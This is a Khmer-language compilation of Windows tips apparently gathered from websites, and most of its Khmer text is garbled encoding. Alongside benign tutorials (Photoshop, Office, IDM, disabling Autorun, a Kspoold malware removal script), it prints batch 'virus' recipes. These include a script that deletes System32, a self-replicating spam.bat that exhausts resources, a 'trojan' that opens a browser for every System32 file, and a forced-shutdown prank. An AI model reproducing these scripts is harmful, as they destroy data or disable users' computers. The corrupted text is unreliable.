Information Technology from internet

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CONTENT

ចណំចុពេិសស ទពំរ័

បេង�តេមេរគលបបSystem32 តមបNote Pad .......................................... ១

វធីិតំេឡងវនីដូបXP ែដគចំណាេេគតិចចងប១៥បនាី(Repost) ........... ២

រេបៀបេធ�ឲ្យអករគិចចូគូលៃផងេងាអរលងបPhotoshop ......................... ៦

ងរេេដេះេេគចបលបGpedit.msc េាងតតវ ........................................... ១០

ន�ឹដខ�ីៗេដម្ីបេង�តេមេរបិាអលំេ្ូាយរ .................................................... ១០

លណសម្តតិបនិងបលណវបិតតិបអរលងងរេបបសលបAnti-Virus ......................... ១១

រេបៀបបិាបAutorun េដម្ីបេេ� �សងរ�ងេមេរមិនដឹងខ�ងន ..................... ១៤

ងាៗអរលងងរបេង�តេមេរបSpam ......................................................... ១៥

A Trojan virus ែដគអចដំេណ រងរបនប១០០% ...................................... ២០

បេង�ត Shortcut េដម្ី Lock Screen ! Trackback ...................................... ២១

បេង�តេមេរតមបNotepad ..................................................................... ២១

បិាអលំេ្ូាយរេេាេបបCommand Prompt .................................................. ២៤

រេបៀបបិាមិនឲ្េអកងៗៗ មនលសកមងាចំនងនេបបFire Fox ............................. ២៧

រេបៀបបតូរសចលអណតលអវបចមងាបPhotoshop ......................................... ២៩

ងរបេង�តបportable office ......................................................................... ៣៧

េហតលយ�ីបIDM របសលេលអយរអមិនដំេណ រងរ ............................................... ៤២

រេបៀបេងីអបៗបបងរមបPartition អរលងបWindow 7 ......................................... ៤៥

រេបៀបបិាបPort usb drive អរលងWindows 7 មិនឲ្ដំេណ រងរ ....................... 49

បេ្បលងររផំនបRestart េងាេេគបUpdate windows ........................... ៥១

េបបIDM មិនេដរេតអចចទាអបវវីីយូតមវធីិណ ..................................... ៥៤

វធីិចអលេសអលំេ្ូាយរេេាស�យាបវតតិបេេគយរអេដរេចគ ............................ ៦១

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ងរបិាបAutorun េដម្ីបេេ� �សងរ�ងេមេរេេាមិនដឹងខ�ងន ................... ៦៦

រេបៀបេបបUSB Drive សំរបលបReset windows 7 Password ........................ ៧០

រេបៀបបិាេមសត ំបMini Toolbar អរលងបWord/Excel 2007/2010 ...................... ៨០

បេង�តេមេរបិាបPort USB ..................................................................... ៨២

បេង�តេមេរបRestart អលំេ្ូាយរបរគលេេគបStartup ...................................... ៨៣

បេង�តេមេរបFolder េះអរលងងតបFolder/folder/folder… ............................. ៩១

បេង�តេមេរបិាអលំេ្ូាយរស�យាបវតតិបតមបC# ............................................. ៩៦

បេង�តេមេរបI Love U អរលងបVBS .............................................................. ៩៩

ដំេណដះសាេេគេមេរលអលបHidden ឯអសរ ................................... ១០៧

ងរររមិនឲ្េមេរ�ងតមបUSB ........................................................... ១១១

ងរររអលំេ្ូាយររបសលយរអេីេមេរ .............................................................. ១១៣

វធីិាបលស� តលងរ�ងេមេរបេេគអណេលងបDowndload ............................... ១១៤

រេបៀបេបអនិងបបិាមលខងរបLibraries អរលងបWindows 7 ................................. ១១៦

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បេង�តេមេរគលបបSystem32 តមបNotepad

កគបប រេេច�ទដក់ផ្បោយវ រេចរកប27, 2011 នរពន�អត�ប�េទផ្បងបតត

ដតេេលដអអដកនដនងេងផ System32 ោដគមនេេដអលងុបតរបតិរកបបWindows មននប្រៈសន

ណរ េុរពកវលដនតវបfile បបរបsystem រុមបប់បWindows ដៈេណ បកបេេេគដលៈព ព់�យបទ

តមពរតេេ េយធី៤២ មរនោមនេេពបេង�តេមេររសីេេពេ� ុរនោតេតគេរតិតនវុវបេងផផដមដ

ោេដប ៈោគដបងបសតនោតប៉លេណា ពទ អ�� នងៃថ�េនពរតមបង �នតវដតដុតនមោតបេវ តប៉លេណា ព ោដគមន

រមត�ភពពេគលបបfile េេដអលងបfolder system32 កនទ

ដតដយ�ីោមនបោតយ�ឺម

េទផេលដអអដពេរបេរបបេងផនដគសងកនេេដអលងដមនវ រធីបNotepad ោដគភា បមដមពផប

Windows តនប់បទ

រតមបដីរផននងអនលវតិននដតេសងេុកម្

1. េបដដមនវ រធីបNotepad េទផេលេេគបCtrl+R => េងផផបn0tepad េងផបEnter ឬបOK

2. បេវ បមដរបេរបរ

expand source1 "@echo off delc:\\windows\system 32"

3. បពេបដ់�លដេទផទដេន ពរ Delete System 32 Virus.bat

4. បេវ បមដដៈេណ បកបបRun កបេតរេទ

ប�ា ដ្ រតមេលដនដគសងរបេរបបនរងោតរេេេគម៉រលនីោដ�ងក� ផ ឬម៉រលនីណោដគបៈបលងននង

ដៈេឡងបWindows នបថនីទបេុរពេបកគដៈេណ បកបេងផឺបFile System 32 ននងុតតវកនគលបេេ�ោតមត

ង៕

វេីដអតមរនពេដៈេណ បកបកនេ�េពគេនព, រតមព្យមយដមតងេ��តេ

េលេ�ីេនពេ េដមសីេមគដៈេណពតនផ

Information Technology from internet

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ប

វ រធីតៈេឡងវនីដតបXP ោដគេៈេផេពគតរេងប១៥េ�ីប Repost)

0 inShare

េលដអអដពរតធល�ុញនននងកបតៈេឡងវនីដតបXP ណរោមនេ�? េុរពធមនតកបតៈេឡងេនពេៈ

េផេពគយ៉ងេងេណរពីប៤០េ�ីបេេ១េម៉ងេ�បេបទ

េដមសីកតបន�ផកបេៈេេពគេវលេុេនដតេេនពបរតមអនលវតិវ រធីងផ់មពផរៈបលដពផធីបោដគេៈ

េផេពគតរេងប១៥េ�ីី

ជៈងន�ី១ីបរតមបBoot វនីដតបXP បបរអអដពីរលីឌី

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ជៈងន�ី២ីបបេវ បពីបFile ញៈងអរកនបloaded បពេេតរេមដបននងេលត់អអដេុជរេប របPartition

ណមពផប �តេេឺុទផរលី Drive C)

ជៈងន�ី៣ីបរតមបFormat នតវបPartition ោដគអអដកនេុជរេប រប Drive C), បពេេប រផដបុបេេ�បFile

System ដតេបNTFS ឬដ៏បFAT (ពបេប រផដបNTFS).

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ជៈងន�ី៤ីបបេវ បពីបFormat បពេេងផបននងញមញប់េលដអអដបRestart ម៉រលីនេដមសីបៈេព�បFile

ោដគកនតៈេឡងទ

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ជៈងន�ី៥ី ដគេពគអអដុតតវេៈេណ�េពគេវលេងផ េុកផពីបReboot បពេមដបអអដននង��ពគកន

ផវ ៈងមពផបោដគបេៈណផេពគុបោងគបងប៣៩េ�ីបេដមសបី�� បកបតៈេឡងេទផេជយផប

ជៈងន�ី៦ីបឥឡតវេនពរតមផ SHIFT + F10 Key ននងេបដផវ ៈង command prompt

ជៈងន�ី៧ីបរតមផប“Taskmgr” េេដអលងផវ ៈងបcommand promptទបេេពននងេបដផវ ៈង Task Manager

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ជៈងន�ី៨ីបរតមេលេេគ Process Tab, េងផោរ�ងបដដៈេណ បកបោដគមនេន ពរ Setup.exe -

> រតម Right Click េគ Setup.exe -> Set Priority -> េុជរេប រផដ High or Above Normal

ោដគ�តេេឺបNormalទ

ដតេេអពកបងបបបរេលដអអដ ននងុតតវកនប��បេទផឆបបងយរបរតមេេឆលងមីដ�� ប ឬនៈប��ល ដដ�� បប

គីងលងបមតផដ��បេងផបញល ៈ់ោឆសតប ុបោងគ១៥េ�ីី បពេមដ��ពគផដវនីដតបXP ដ៏ថនីតរឡងបបរអអ

ដទ

បេប�បេធ�អដ្បគរេេតគៃកវសងេុកផដអលងបPhotoshop

សងេុកមេនពកបេធ�េពផអដ្បេមគេេមនរងដតេគរេេតគេេ ៃកវសងេុកផបនិរេ ោដគ

ោកអដមពផពេេធ�េពផកបបេេអដ្បបបរអអដមនភពញដញ� មពផដៈប រេេ��តទដតេេនពរតមអនលវតិ

ន៏នតវជៈងនសងេុកមេទផយ�ពនឯងី

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១.បេង�តុដទរកបងបបេងផេលេ double click េគ Layer Background េេពេដមសដីៈណត

Gradient េពផបដតេសងេុកមី

២.ផដឧបដបណ៏ Horizontal Type Tool មដរបេរបអដ្បោដគអអដេតគេរតិបសងេុកមៈបតី

៣.េលេ Double Click េគបLayer Design េេពេងផដៈណតបGradient ដតេសងេុកមី

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កបេទពេេេពគប gpedit.msc េផងុតតវីប

1. ចូគបSafe mode ចលចបSafe mode command promp regeditHkey current user soft

ware MicrosoftWindows Current verson Policies Explorer គលបេចគចំង

យសលាលអបែត Default.

2. ចលច gpedit.msc Administrative Template System Double click េគ Run only

specific windows application ធិអេគ Not Configure Apply ok.

ន�រពយ�ី់បេដមសបីេង�តេមេរបរ�ដលៈព ព់�យប

កគបប រេេច�ទដក់ផ្បោយដ�� ប7, 2011 នរពន�អត�ប�េទផ្បងបតត

ុរនោតេត�េៈណងេជងអត�ប�បេលដអអដុកដដរតរបផីេ នអីញតេងផបបេង�តេមេរ

េ��តេងផ?

តមពរតេបរតប់ោមនោ�នេេ េនពុរនោតន�រពមពផោដគេងប់េលដអអដេេពរបេរបដតដ បរ�ដលៈព ព់�យបេទផរ�យផុបវតិរោតប៉លេណា ពបមរនោមនេមេរអីេ� ោតេបរតរេមេរដ៏មរនយលរអីោដបទ

េលពេងតលអ�ីបេយធី៤២បទដេៈណងេជងេនង? េុរពោតេពគបេយធី៤២បresearch ដអលងបYouTube េទដរ Pc

trick Shutdown – How to create a ‘virus’ េងផដ៏ទដតរេដ�ងងអនងម៉ងេេទ

បតបមនត្បshutdown -s -t xx -c "your message" (ោដគបxxតៈណងប់េគយបរតវ រេ�ីបោដគេលដអអដេងដៈណតប់បរ�ដលៈព ព់�យប) (ោដគបyour message មននយផទដនបបង �មលនេពគម៉រលីនដលៈព ព់�យបបរ�)

វ រធីអនលវតនិន

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• េលេេម៉នត ៈេគបDesktop ផដបNew => Shortcut

• បពេផបshutdown -s -t 90 -c “pls save doucment cuz ur pc is shutdown” (មននយផរបេវ បពីប

៩០វ រេ�ី ដលៈព ព់�យបបបរេលដអអដននងុតតវកនបរ�េទផដតដោដគកនដៈណត

• បេវ បេលេបNext

• េៈណល េបេវ បមដេ��តេលេបFinish

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• េៈណល េេលងេុកផរតមេធ�ផ� របតតបពផយលនបេទផេលេេម៉នត ៈេគបshutdown.exe ផដរដ់ប

properties => change icon កបេតរេទ

រតម�រ្វេីដអត

លណរមសតិរបនរងលណវ របតិរៃនកបេុបុករដមនវ រធីដៈយតេមេរ

េេដអលងុបពយន�ុបតរបតិរកបវនីដត ោតងោតមនប� ញដ�ងននងប� េមេរបោដគុបេពប ៈសន នរងេធ�

់ប៉ពរគយ៉ងស� ៈងដគកបងបបឬកបររដ់េដមទ រៈបលដពផធីរតមញ�េៈណបពបមនណន

េលដអអដមដោរ�ងផគពីលណរមសតិរ នរងលណវ របតិរេេបោដគេដតេេ�ពីកបេុបុករដមនវ រធីដៈយ

តេមេរី

• លណរមសតិរ

1. េធ�់មនរលវត�រភពឯដនបបោដគបដ់�លដេេេគបHard Disk ដអលងដលៈព ត់�យប 2. កបរបកបផុបងបពីបHacker តមបផ្បណិ�អលីនេធេណត 3. ជពផកបរបពីបរ មបីSpam) េទផេុបកបេុយពនបេអឡរេុតតនរេបីEmail

Filter) 4. រៈងយវបរគកបតៈេឡងដមនវ រធីណោដគមនភា បបឬុបេេ�េមេរបដតេបTrojan

(keygen.exe) េដម 5. ជពផរៈពតបFile ោដគមរនេុបបឬអតុបេយជននប ីដតេប.* tmp េដម

• លណវ របតិរ

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1. េធ�់ម៉រលីនេដបផឺតងធមនត ីដបណីរន នេមេរប េុរពមនេរដមនកបរបកនេបដេឡងេេេពគប

Startup 2. ុតតវេៈណផុកដេដមសី�រ�បLicense 3. ឯដនបពេននងកតបងបដបណីមនេមេរឆ�ងេតគប ីគលបបឬរៈងយវបេទផរ�យផុបវតិរ 4. េធ�់ម៉រលីនបរ�េទផរ�យផុបវតិរបេពគោដគដមនវ រធី�ប�គននងេមេរមរនកន 5. ុតតវេៈណផេពគពបេឌតបDatabase បបរបAnti-virus ់បup to

date នរេចបេរគុតតវេៈណផុកដេគកបពបេឌតេេពេ��ត

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ពបបរ�បAutorun េដមសបីេ�� �រពីកបឆ�ងេមេរេទផមរនដនងយ�ពន

េលដអអដ ោដគនរផមកបេុបុករុបពយន�ុ បតរបតិរកបវនីដត ោតងោតមនប� ញដ�ងននងេមេរេនព

មរនសន េងផដ៏រន ននបណមអ ដេងជពបបឬបេណិផប់ផុបងបងផ់េេពេ�ទ ដតេេអព

រៈបលដពផធីបរតមេគដផដវ រធីដ៏ងផតរសគមពផ ដអលងកបកបរបពីកបផុបងបបបរេមេរ

េទផ ុរនោតបេធ�កបបរ�បAutorun ដលៈ់េបដ

េឡងេទផរ�យផុបវតិរ េរគឺមរនមនកបអនល�� ត ោដគេនពអ�ីោដគអអដបេង�តេមេរេតគេរត ិនរង

នរផមដអលងកបបេង�តបេដមសីផុបងបមដកនពពដេផងទបេងផរគបAutorun េនពេ��តេនតោតងឆ�ង

មដតមបផ្បFlash Drive ងអនងោតមិងេ

រតមអនលវតិននបនរងតមទនពីវ រធីងផ់េេេគបុបពយន�ុ បតរបតិរកបពីបបឺវនីដតអលីេេីបនរងវនីដតេរេវនបដតេ

សងេុកមី

*** បេប�បបរ�បAutorun

រតមដៈេណ បកបបgpedit.msc េទផេលេប៊តតលងបStart => Run (ឬេលេុរបេលេវនីដតបូបr)

បពេផបgpedit.msc បេវ បមដរតមផបEnter ឬេលេប៊តតលងបOK

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*រុមបវនីដតេរេវន:

បេវ បពីកនផបពេេងផបននងមនផវ ៈងបLocal Group Policy Editor េលតេឡងី

រតមេលេេគបAdministrative Template បពេេុជរេប រផដបWindows Components េងផុតងបAuto Play

Policies រតមេលេពីបដងេគបTurn Off Autoplayទបបេវ បមដ ននងមនផវ ៈងថនីមពផេ��តបេលតមដបរតម

េលេេគបEnable ុតងបTurn Off Autoplay on => េលេេប រផដបAll Drive => េលេបOKទ

ងផ់ដអលងកបបេង�តេមេរបSpam

កគបប រេេច�ទដក់ផ្បោយតលលប21, 2011 នរពន�អត�ប�េទផ្បងបតត

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Spam ុបេេ�េមេរដលៈព ត់�យបម៉្ងោដគបHacker បេង�តេឡងដអលងេរគបៈណងបគពេផដេគយរម� ត

បបរអអដេេធេរបបគពេេមគនបេអឡរេុតតនរេ (E-amil) គពេផដបUser Name នរងបPassword បបរ

េលដអអដេដមសីបLogin ដអលងេរគបៈណងណមពផប… ពរេររឺុបេេ�េមេរឆ�ងតមបអលីនធឺ

ោណតប… ទ

ប៉លោនិអត�ប�េនពុរនោតន�រពតតេមពផប៉លេណា ពដអលងកបបេង�តពពដ (Spam) េដមសីមតគទល នុរព

រុមបេលដអអដតនវុវបបោន�មេ��តទ

1. រតមេបដដមនវ រធីបNotepad េទផេលេបStart (Menu) => Run ឬបCtrl+R => បពេផរដ់បnotepad => OK

បេវ បមដរតមរបេរបរដ់ដតេសងេុកម 1 2 3 @echo off copy 100% spam.bat start spam.bat

2. 3. បេវ បមដេ��តរតមេលដេធ�កបបSave �លដបេទផុតង File name ទដេន ព Spam.bat បពេេលេ

ប៊តតលងបSave កបេតរេ៕

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*រុមបវនីដតអលីេេីភ

បេវ បពីមនផវ ៈងេលតប ដតេសងេគីប)> េលេេគបAdministrative Template => Windows Components

=> System បពេេលេប២ដងេគបTurn Off Autoplay => េុជរផដបEnable ុតងបTurn Off Autoplay On =>

េប រផដបAll Drive => បពេេលេបOK៕

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បេង�តបa trojan virus ោដគពេដៈេណ បកបកនប១០០%

កគបប រេេច�ទដក់ផ្បោយរីងប15, 2011 នរពន�អត�ប�េទផ្បងបតត

េេេពគេត�េៈណងេជង រតមេលដអអដដលៈផគុេគៈរបេយធី៤២បបេុង�នប់េលដអអដេេពបេង�តប

េមេរប់េនពទ ណត េបមរនោមនេ�បុរនេងបង �េលដអអដនតវដៈេណ បកបបៃនដតដបបរេមេរ ោត

ប៉លេណា ពេ

ោដគេលដអអដពេបេង�តបa trojan virus កនេទផងផមពផននងបNotepad េទផេុបុករបដតដន

ម��់បៈកលតទ

រតមតមទននតវបេប�បបេង�តដតេសងេុកមី

1. េបដបNotepad

2. េម�ងដតដសងេុកម

expand source cd c:\windows\system32 for %%a in (*) do start iexplore.exe for %%a in (*) do start iexplore.exe

3. េលេបFile (menu) => Save => ទដេន ពរបkt42.bat => បពេេលេប៊តតលងបSave កបេតរេ៕

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បេង�តបShortcut េដមសបីLockScreen ! Trackback

4. ក់ផដអលងោកអដ ន�នពយ�ី់ េទផ vannrong កគពី 157 days ago 14 Comments

5. េេេពគោដគអអដេុបុករេងេធ�កបយដេេ�ពីដលៈព ត់�យប ោដគយ�ពនដៈពលងោតេុបុករោតមពផប

ផ្ ធមនតេផងោតងោតេធ�កប Lock Screen េដមសីដលៈ់មនអអដដ៏ៃ�េុបុករដលៈព ត់�យបបបរេផ

ងទ េេ�ៈពយបេនព Sabay រតមេធ�កបបង �ពីកបបេង�ត Shortcut េដមស ីLock ដលៈព ត់�យប មដជតនដគ

អអដញៈងអររអ តមបផ្វ រធីងផ់ទ

6. ដៈបតងេធ�កបបេង�ត Shortcut មពផ េទផេលេ Mouse សងនត ៈេងផេលេេគរដ់ New បេវ ប

មដផដរដ់ ShortCut ទ េពគេេព System ននងបង �ផវ ៈងមពផដគអអដញៈងអររអ ទ េធ�កប

ផrundll32.exe user32.dll, LockWorkStation េេដអលងុបអបោដគកនបង �ទ

7. 8. បេវ បពីេនព រតមេធ�កបទដេន ពេេេគ Shortcut ោដគេផងកនបេង�ត េងផេន ពេនព

អអដពេទដតមេរតោិដគេផងេងទដ េងផេេ�ីប�� បេលេេេេគរដ់ Finish កបេតរ

េទ

9. នដគសង Double Click េេេគ Shortcut ោដគអអដញៈងអររអ េ�បបេង�ត ! េតមនអ�ីេដត

េឡង ?

បេង�តដមនវ រធីដម� តេមេរតមបNotepad

កគបប រេេច�ទដក់ផ្បោយរីងប15, 2011 នរពន�អត�ប�េទផ្បងបតត

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េនពវ រធីនសរនិម��ដអលងកបបេង�តដមនវ រធីដម� តេមេរទ ោដគេលដអអដពេបេង�តេទផយ�ពនឯង

កនតមបNotepad ោដគមនតនបដអលងបWindowsទ ថ�ីតសរតោតមរនមនរមត�ភពពេដម� តេមេរ

កនេុេនុបេេ�ដ៏េទផ ដ៏មតគទល នរុមបប់េលដអអដបពេមនេៈណបពបមនណ៏ដអលងកប

បេង�ត Antivirus េុេនុបេេ�េ��តបតមដមនវ រធីមពផេៈនពនដតេ្

• html • javascript • vbscript • vb.net • C# • c/c++ …

រតមអនលវតិននមពផបេយធី៤២បដតេតេេី

1. រតមេបដដមនវ រធីបNotepad េទផេលេបCtrl+R => ផបnotepad => OK

2. បេវ បេម�ងដតដសងេុកម

expand source

េវ បេម�ងដតដសងេុកម ?

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1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45

Echo off Cls REM - Ubah Warna Color A REM - Ubah Judul Title Kspoold Killer * By N4is3N (Atau nama anda sendiri) REM - Masuk ke Direktori Sistem %SYSTEMDRIVE% cd %SYSTEMROOT%\System32 Echo ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Echo KSPOOLD KILLER Echo ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Echo After you press any key on your keyboard, i do... Echo - Removing Related Registry Echo - Stopping Kspoold Process Echo - Deleting Kspoold file in the system directory echo ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Echo. Pause Echo. REM - Hapus Registry yg di buat sebagai service virus Reg delete "HKEY_MACHINE_\SYSTEM\ControlSet001\Service\KspooldDaemon" /f Reg delete "HKEY_MACHINE_\SYSTEM\ControlSet002\Service\KspooldDaemon" /f Reg delete "HKEY_MACHINE_\SYSTEM\CurentControlSet\Service\KspooldDaemon"/f REM - Hentikan Proses Virus TaskKill /IM Kspoold.exe /F /T REM - Set Atribut file Virus menjadi normal Attrib -s -h -r Kspoold.exe REM - Hapus file Virus Del Kspoold.exe Cls Echo ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Echo KSPOOLD KILLER Echo ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Echo After you press any key on your keyboard, i do... Echo - Removing Related Registry Echo - Stopping Kspoold Process Echo - Deleting Kspoold file in the system directory echo ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Echo. Echo Press any key to continue... Echo. Echo Well done -The "Kspoold" was completely removed Echo. Pause

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3. បពេបដ់�លដេទផេលេបFile (menu) => Save

4. ុតងបFile name របេរបរបkt42.bat => បពេេលេប៊តតលងបSave កបេតរេ៕

បរ�ដលៈព ត់�យបេទផេុបបCommand Prompt

Posted by ពណេុដពផធី

កបបរ�ដលៈព ត់�យបពរតតរសគណរបេងផមនេុេនវ រធីណរោដគ េនពវ រធីមពផេ��តរុមបបរ�ដលៈ

ព ត់�យបេទផេុបបCommand Prompt ោដគពណេុដពផធីនរងបង �ជតនបី

បេប�បេតគភ

េបដបcommand prompt (cmd) : Windows Key + R ឬេតគបStart Run Type cmd ី

• ប�ា បរ�ម៉រលនី

េនពប�ា រុមបេពផបរ�ដលៈព ត់�យបបបរអអដេុកផពីអអដផបី

shutdown -s

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• បរ�េទផដៈណតេពគ

េនពប�ា ោដបរុមបបរ�ដលៈព ត់�យបេទផដៈណតេពគី

“-t” រុមបបោន�មេពគដអលងកបដៈណតបោដគេពគេេពរតវ រេ�ី ឧញងបណន ី shutdown -s -t ៣60ប

ដតេេនពេុកផពី 3៦០វ រេ�ីដលៈព ត់�យបអអដនរងុតតវកនបរ�ី

shutdown -s -t 360

• កបបង �ពយត័មនមលនេពគបរ�េ

“c” រុមបបង �ពយត័មនមលនេពគបរត

shutdown -s -t 360 -c "your computer will shutdown! Save all document after 6mn"

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• គលបេយគកបបរ�

េបររនអអដេងគលបេយគកបបរ�រតមផី

shutdown –a

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បេប�បបរ�មរន់េដនង់បឬមនលរ្មពផេៈនពនេុបបFireFox

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យ�លៈរង្នមរអត�ប�េនពពេជពផដគបងបសតនមពផេៈនពនបេដមសីដលៈមនកបប ៈសនពីេដនង់ទ

- ដៈបតងរតមមរតញិៈងអរតេម�ង FireFox Version ណមពផដ៏កនទប េបមរនញនមនរតមេធ�កបញ�

ផដី

- បេវ បមដរតមេធ�កបតេម�ងដមនវ រធីេនពទ

- េងផេធ�កបដៈេណ បកបដមនវ រធីេនពទ

- េលេរដ់របFireFox េបដមនវ រធីបFireFox អអដមន�ៈបងោបបេនព

- េងផេុជរេប រផដរដ់របAdd-ons

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- ោរ�ងបដុបអបបSearch េងផរដ់របBlock Site េលេបEnter

- បេវ បមដរតមេលេរដ់របInstall

+ េងផបRestart FireFox ទ

+ បេវ បមដេធ�តមកបោណបេៈកបេតរេទ

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បេប�បបិតបនេុដណតពវបមពផបPhotoshop

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ន�ឺពបោន�មថនីេ��តេងផ មពផរៈបលដពផធីេបអត�ប�េនពបរៈបលដពផធីបរតមេគដផដន�នពមពផ

េទផេុបដមនវ រធីបPhotoshop មដេធ�កបោដនេុដណតពវ ់ោុបបតបរងគៈេៈថនីទ

————————-

េដមសីយបេកិមអនលវតិននមពផរៈបលដពផធីកនបេលដអអដពបមនបតបពីប

១.បបតបមនលរ្មពផជៈងប

២.បបតបបPattern

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បេវ បពីកនញ�ផដបបតបតៈងពីេនពេងផបរតមុដេគដេតគេេកនដមនវ រធី Photoshop វ រ�មិងទប

េទផយបេកិមេុបបTool រុមបបSelect េគបតបភពបដតេ Pen Tool ឬបMagnetic Lasso Tool េដមទប

រៈបលដពផធី រតមេុបុករ Magnetic Lasso Tool េដមសីេធ�កបបSelectទ

បនមិដេ��តបរតមផដបTool េនពមដេធ�កបបSelect េគបតបរងពវប បតប�ី១ី

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េពគោដគបSelect កនជលៈវ រ�បតបរងពវប េៈនលេយបេកិមបនរងេលងេុកផប៉ពរអ ីបេងផបននងបLoad Select

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េងផរតមេលេបCtrl + J េដមសីេម�ងផដ�ីតៈងោដគកនបSelect េេព

េមគេេដអលងបLayer Panel

បពេរតមញ�ផដបតបបPattern មដេតគដអងបLayer Panel មពផរអ បេងផទដ់េៈបតបរងពវបោដគកនបSelect

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ជៈងនបេវ បបរតមេលេបCtrl+Click (េលេេគបCtrl ់បបបពេបClick) េគ Layer1 (layer ោដគកនេម�ង

សងេគីបបពេរតមេលេបCtrl+Shift+I េដមសីបSelect ប��ា របេងផុតឡបេេទបេគ�ីតៈងបLayer3 (បតបប

Pattern) េលេេគប៊តតលងបDelete (េគបKeyboard េដមសីគលបីទ

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បិលបពីបNormal មដបOverlay

បពេកបេតរេ

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បេប�បបេង�តបMicrosoft Office 2010 តមបផ្បUSB Drive (Portable Version)

0 inShare េដមសីេុបុករ ឬេបដឯដនបគដចណ្កប រយគយផប MS. Office Word, Excel េដមីទ ុបររនេប

េលដអអដបេងេបដឯដនបុបេេ�េេពុប�ីដោន�ងកន េលដអអដពបោតនដគសងអនលវតនិនបនតវវ រធី

សងេុកមបោដគពេជពផកតបន�ផេពគេវល ដអលងកបតៈេឡងបនរងេៈេផេពគោថមេ��តកងទ

ដៈោណោុបបMicrosoft Office 2010 Starter ឺដមនវ រធីោដគឥតរតៃថ� ោដគអនល�� ត់េលដអអដផដ

េេេុបុករកនេទផេរបទី ប៉លោនដិអលងដៈោណោុបេនពបមនោតបWord នរងបExcel ោតប៉លេេអ ពទបរតមអនលវតិ

នន មពផរៈបលដពផធីេេពគេនពី

កបបេង�តបPortable Office

ដៈបតងរតមេលដអអដបញ�ផដដមនវ រធីបOffice 2010 Starter ពីតៈណេនពទ បេវ បមដរតមេលេពីប ដងប

េគដមនវ រធីេដមសីតៈេឡងបទបកបតៈេឡងេនពបយៈកេុតតវកបញ�ផដបន ិពីម៉រលីនេមផវ គប Server)ទប

រតមបងយៈបងតតដគកបញ�ផដេបរព�ុប (មរនេៈេផេពគផតបេឡផ…)ទ

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េពគោដគតៈេឡងបពេរគេងផបរតមបនេិតគេេកនបStart Menu => All Programs => Microsoft Office

2010 Tools folder េងផរតមេលេេគMicrosoft Office Starter To-Go Device Manager 2010

ថនីមិងេ��តននងញ�ផដបFiles បោន�មេ��ត

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េុកផេពគោដគញ�ផដបពេរគេងផបននងរពបបដបUSB Drive រុមបទដដមនវ រធីេនព

ដៈពលងតៈេឡងបេតគបUSB Drive

េពគោដគកបតៈេឡង��ពគកនេជយផបេេពអអដននងេត�ដតេសងេុកមី

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រតមនដគសងេបដបExplorer បបរអអដប My Computer) េទផផ�ុមងយ�ីបStart + E េេពេល

គអអដននងេត�បDrive ោដគមនបIcon ថនី

ដមនវ រធីកនតៈេឡងេគម៉រលីនដលៈព ត់�យបបបរអអដបបពេេតរេេងផ ោដគរ�រតេេ�ីតៈងេដមៃនបDrive

េងផមនបFile េន ពរបOffice.exe ោដគពេ់េលដអអដបេបដបWord នរងបExcel កនទ

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េងតលអ�ីបIDM បបរអអដមរនដៈេណ បកប?

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Internet Download Manager ឺដមនវ រធីមពផោដគមនមលយងបពរេររ នរងមនរមតិភពយពរដអលងកប

ញ�ផដឯដនបដអលងេគសបនយ៉ងេគេន (ពតរយផេគេគសបនអលីនេធេណតបនរងុបេេ�បFile) បងតតប៉ព

រគដគកបេុបុករអលីនេធេណតបបរអអដបពមបណិ�េ��តកង េងផមនុដកមង៊លនមពផេៈនពនកន

បរ�មរន់មនកបេុបុករដមនវ រធីេនព កងទបតរបមពផរអ េនពោដប មនបងបសតនេផងមពផេៈនពនោដគ

កនននងដៈពលងេុបុករដមនវ រធីជៈនពផ ដអលងកបញ�ផដឯដនបេនពបជពបប� េេេពគោដគមរន

ដៈេណ បកបទ ពពដរតកនទដរៈនពបមដរៈបលដពផធី ដតេេនពេផងយ�លៈរតមេគដផដវ រធីេទពតនផ

ដ៏ងផតរសគមពផ �លដុរនឯដនបេយងបនរងេុបុករេេពគសងមលយទ រតមអនលវតិននមមពផ

រៈបលដពផធីបេេេពគេនពី ******************************************************

រតមពរនរត់េមគដៈោណោុបបបរដមនវ រធីបInternet Download Manager េតដៈោណោុប�ីប៉លេន ន? េទផពរនរ

ត់េមគេទផផវ គេេសងេគបTitle Bar ដ៏កន ឬេតគេេកនបHelp => About IDM

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ុបររនេបេលដអអដបមរនកនននងដៈពលងេុបដៈោណេុបេលងេុកផេនពេ�បេេពបIDM បបរេលដអអដននង

មរនពេដៈេណ បកបដតេុបុដតីេ� េរគនមរនមនកបេលតបង �េេេគបុបអបយដប�េេុម�ងេឡ

ផទ

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ដតេេអពេងផុបររនេបេលដអអដេុបដៈោណោុបយរបយបពី�ីប៥បេលពេុកមបរតមបUninstall េេ�បបពេតៈ

េឡងដៈោណោុបថនីជៈនពរវ រ�កបេតរេទប

ប ប

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បេប�បពុងីដបឬបុងសមបPartition ដអលងបWindow 7

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ដអលងកប េុបុករដលៈព ត់�យបបោតងោតមនប� ញដ�ងននងកបោេដបPartition បបរបDrive នីមពផ់េក្ង

រអ ទបេុកផេពគោដគកនោបងោេដបពេេងផ ោតេពគយ�ពេងពុងីដបឬបុងសមមដវ រ�ពរតមរនោមន

េបេងងផតរសគេ� េបេលដអអដោរ�ងបដឧបដបណន ោដគមនតនបដអលងវនីដតបដតេកបេុបបCommand

Prompt េដមសបី�ា េដមទបប� ោដគេលដអអដុតតវពុងីដ ឬបុងសមភេុេនពេបណិគមដពីប

Drive C (Drive OS) ុតតវកបតៈេឡងដមនវ រធីបោន�មោដគមន�ៈងៈធៈងប�ៈងៈប Drive C) ោដគអអដមន

បេ�លបសនអបឬមពផេក្ងេ��តឺបDrive C បបរេលដអអដេេ�ពណ័ុដងមបោដគរ�� ប�ា ដរបDrive

បបរអអដពបគលបបFile ឬមពផេៈនពនេយគបឬុតតវពុងីដ េដមសី់ដៈេណ បកបបបរម៉រលីនបបរេលដអអដ

មនភពគសុ បេរបបទ

